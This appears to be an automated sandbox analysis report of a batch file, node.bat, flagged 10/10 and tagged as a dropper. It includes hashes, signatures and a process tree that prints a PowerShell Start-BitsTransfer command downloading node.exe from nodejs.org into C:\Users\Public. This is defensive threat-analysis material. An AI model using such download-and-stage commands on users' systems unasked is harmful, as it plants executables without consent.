Analysis

  • max time kernel
    122s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    25-04-2024 10:47

General

  • Target

    node.bat

  • Size

    3KB

  • MD5

    1beb518fe0cd85f2d6f9101c2e47c7ae

  • SHA1

    65ab6ae5b983633f60a4404636c0de19b2c529fa

  • SHA256

    81ae13af20a68b407c4171c498f5140f51d8f0d9cf5bf4ddcf989112e3d31297

  • SHA512

    880534df1232044cf1cfd5dc83a3d170eac46093c8f38b19e20967cb6b2c5020994d1f3113e72a4e73917ae6f9701c4a08f57f8ebec2471e35a9111362115d5b

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://nodejs.org/download/release/latest-v19.x/win-x64/node.exe

Signatures

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\node.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2524
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      PowerShell -Command "Start-BitsTransfer -Source 'https://nodejs.org/download/release/latest-v19.x/win-x64/node.exe' -Destination 'C:\Users\Public\node.exe'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:856

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/856-4-0x000000001B6C0000-0x000000001B9A2000-memory.dmp
    Filesize

    2.9MB

  • memory/856-5-0x0000000002860000-0x0000000002868000-memory.dmp
    Filesize

    32KB

  • memory/856-6-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp
    Filesize

    9.6MB

  • memory/856-11-0x0000000002CE0000-0x0000000002D60000-memory.dmp
    Filesize

    512KB

  • memory/856-10-0x0000000002CE0000-0x0000000002D60000-memory.dmp
    Filesize

    512KB

  • memory/856-9-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp
    Filesize

    9.6MB

  • memory/856-8-0x0000000002CE0000-0x0000000002D60000-memory.dmp
    Filesize

    512KB

  • memory/856-7-0x0000000002CE4000-0x0000000002CE7000-memory.dmp
    Filesize

    12KB

  • memory/856-12-0x0000000002CE0000-0x0000000002D60000-memory.dmp
    Filesize

    512KB